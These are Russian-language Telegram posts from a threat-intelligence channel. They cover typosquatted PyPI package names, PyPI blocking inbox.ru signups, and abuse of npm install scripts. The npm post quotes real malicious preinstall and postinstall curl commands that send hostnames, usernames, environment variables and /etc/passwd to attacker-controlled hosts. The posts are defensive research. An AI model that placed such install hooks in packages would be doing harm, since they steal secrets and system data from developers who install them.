Названия пакетов из этой пачки — явный тайпсквоттинг (атака на то, что разработчик опечатается в названии пакета при установке или поведется на хорошее название — и поставит себе троян):
🟢avoid 🐱
🟢common-io
🟢win32crypt
🟢win32com
🟢pywintypes
🟢jsap
🟢webdav2
🟢arbuzmining 🍉
🟢requirements-cpu-txt
🟢requirements-cuda-txt
🟢dl-pivot-pandas
🟢steambaselib 💀
🟢catboost-spark
🟢numpynumpy
🟢antlr4-runtime
🟢celery-telegram
🟢exllama-kernels
🟢booking-api

Некоторые из названий тагретят разработчиков российских компаний:
🟢youla-spark-session 🐱
🟢ipy-kaspersky 💀
🟢vkads
🟢vkpay
🟢vkplay-sync 😺
🟢vkplay-metrics

На этих названиях становится понятно, что администрация PyPI пресекла кампанию, от которой могли пострадать наши соотечественники 🥺

#ti #pypi #pyanalysis #scs
@ptescalator
Пост 3/4
Продолжение⬇️
Please open Telegram to view this post
VIEW IN TELEGRAM
Please open Telegram to view this post
VIEW IN TELEGRAM
3👾2
Forwarded from ESCalator
Оправдано ли внесение почты @inbox.ru в чёрный список?

В настоящее время при создании почтового ящика на @inbox.ru требуется номер телефона или учётная запись VK. Есть упоминание, что два года назад можно было обойтись без почты. Также можно создать до 10 анонимных ящиков к своей основной почте в рамках официального функционала mail.ru.

Вероятно немаловажную роль играет простота автоматизации и более простой обход эвристик на подозрительные действия, раз злоумышленник смог управлять 207 почтами в рамках 4 часов.

Зарегистрированных на PyPI разработчиков, привязавших почту @inbox.ru, "репрессии" не касаются — были заблокированы только "пользователи", участвовавшие в кампании. Нельзя создавать новые учётные записи или привязывать эти ящики к существующим аккаунтам.

Подводя итог

Ограничение создания новых учётных записей с использованием почты на @inbox.ru — закономерная реакция на кампанию, в рамках которой пара сотен учётных записей, зарегистрированных за короткое время, начинает творить беспредел.

Почтовые домены от Microsoft также год назад попали под блокировку, это дополнительно уменьшает вероятность, что в этих действиях выражается какое-либо предвзятое отношение.

Получился опенсорсный myth busters 👀

#ti #pypi #pyanalysis #scs
@ptescalator
Пост 4/4
Please open Telegram to view this post
VIEW IN TELEGRAM
4
Forwarded from ESCalator
Node JS. Вредоносная активность на стадии установки

В рамках исследования действий злоумышленников в npm (Node Package Manager, основного репозитория JS-кода) мы решили одним глазком заглянуть в это направление.

В пакетах JavaScript существует механизм запуска скриптов на этапе установки. Он описывается в конфигурационном файле package.json в секции scripts:

{
"name": "<from-ptescalator-with-love>",
"version": "1.0.0",
"description": "Example config of package.json for demonstration-purposes",
"main": "hello.js",
"scripts": {
"preinstall": "echo \"I will be run at pre-install stage\"",
"install": "echo \"I will be run at install stage\"",
"postinstall": "echo \"I will be run at post-install stage\""
}
}


Значения являются командами для системного интерпретатора, будь то sh, bash, fish или даже виндовый cmd — что стоит по умолчанию, то и будет использовано 😎

Злоумышленники идут двумя путями в рамках эксплуатации возможности запустить свою нагрузку во время установки:

🫥 Запустить js-код

[email protected], postinstall:
node index.js


[email protected], postinstall:
node cli/setup-security.js


🫥 Исполнить команду системным интерпретатором:

[email protected], preinstall, передача hostname:
echo "No tests" && curl "https://[REDACTED].net/?NPM=$(hostname)&<template>"


[email protected], preinstall, кража /etc/passwd и получение hostname:
sh -c 'curl -X POST -d "user=$(whoami)&host=$(hostname)&passwd=$(cat /etc/passwd | base64)" https://webhook-test.com/[REDACTED]'


[email protected]
, postinstall, кража переменных окружения:
curl -X POST https://[REDACTED].oastify.com --data "$(env)"


[email protected]
, preinstall, кража переменных окружения, /etc/passwd, hostname и имени пользователя:
curl --data-urlencode "info=$(hostname && whoami && cat /proc/self/environ && cat /etc/passwd)" https://[REDACTED].oast.iss.one"


Если пост соберет 1000 сердечек🥰 В следующий раз расскажем о разнообразии нагрузок-скриптов на этапе установки JS-пакетов.

#ti #scs #pyanalysis
@ptescalator
Please open Telegram to view this post
VIEW IN TELEGRAM
5👾311